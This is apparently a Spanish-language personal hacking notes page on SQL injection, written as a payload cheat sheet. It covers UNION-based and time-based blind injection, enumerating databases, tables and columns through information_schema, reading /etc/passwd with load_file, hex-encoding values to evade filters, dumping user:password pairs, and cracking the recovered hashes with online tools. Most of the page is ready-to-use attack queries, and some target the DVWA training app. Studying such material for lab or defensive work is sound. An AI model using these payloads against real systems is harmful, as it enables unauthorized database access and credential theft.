> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/anotaciones-hacking-web/sqli.md).

# SQLi

### ERROR BASED

Determinar el número de columnas que son llamadas en la consulta.

```sql
select username, password FROM Users WHERE id=1 ORDER BY 2
```

Obtener información de la base de datos y del sistema.

```sql
select username, password FROM Users WHERE id=1 UNION SELECT database(), user()
select username, password FROM Users WHERE id=1 UNION SELECT load_file('/etc/passwd'), NULL
```

#### INFORMATION SCHEMA

Obtener las tablas existentes en la base de datos.

```sql
select username, password FROM Users WHERE id=1 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='Campus'
```

#### TRUCO XXD

Convertir valores de búsqueda en Hexadecimal para bypassear posibles restricciones.

```sql
echo "Campus" | xxd -ps
```

```sql
select username, password FROM Users WHERE id=1 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=0xHEXDUMP
```

Obtener todas las bases de datos.

```sql
... UNION SELECT NULL, schema_name FROM information_schema.schemata
```

Limitar la búsqueda para mostrar los resultados 1 por 1.

```sql
... UNION SELECT NULL, schema_name FROM information_schema.schemata LIMIT 1,1
```

Obtener las columnas de una tabla de la base de datos.

```sql
... UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_schema="Colegio" AND table_name='Alumnos';
```

Mostrar los datos de un tabla de una de base de datos.

```sql
... UNION SELECT 1, concat(user,0x3a,password) FROM dvwa.users -- -
```

Obtener los datos de una tabla de una base de datos con curl.

```bash
curl "url+sqli" -H "cookie PHPSESSID=valor; security=low"
```

#### EXTRA - HASH IDS

Es posible que obtengamos la contaseña de los usuarios en formato hash, lo primero sería guardar los hashes en un fichero de texto, podemos hacer uso de curl para obtener la respuesta HTTP en la cli y luego con herramientas de filtrado y sustitución obtener solo los hashes.

Para identificar el tipo de hash podemos usar la siguiente herramienta en línea:

{% embed url="<https://hashes.com/en/tools/hash_identifier>" %}

O desde la cli con:

```bash
hashid [hash]
```

```bash
hash-identifier [hash]
```

Ahora crackear el hash podemos usar estas 2 herramientas en línea:

{% embed url="<https://crackstation.net/>" %}

{% embed url="<https://hashes.com/en/decrypt/hash>" %}

### TIME BASED - BLIND

La respuesta de la base de datos no se muestra por pantalla, así que hay que ir jugando con el tiempo para ir descubriendo de a poco la estructura de la base de datos.

Determinar si existe una SQLi basada en tiempo.

```sql
... 1' AND sleep(5) -- -
```

Determinar el nombre de la base de datos actual.

```sql
... 1' AND if(substr(database(),1,1)='d',sleep(5),1); -- -
```
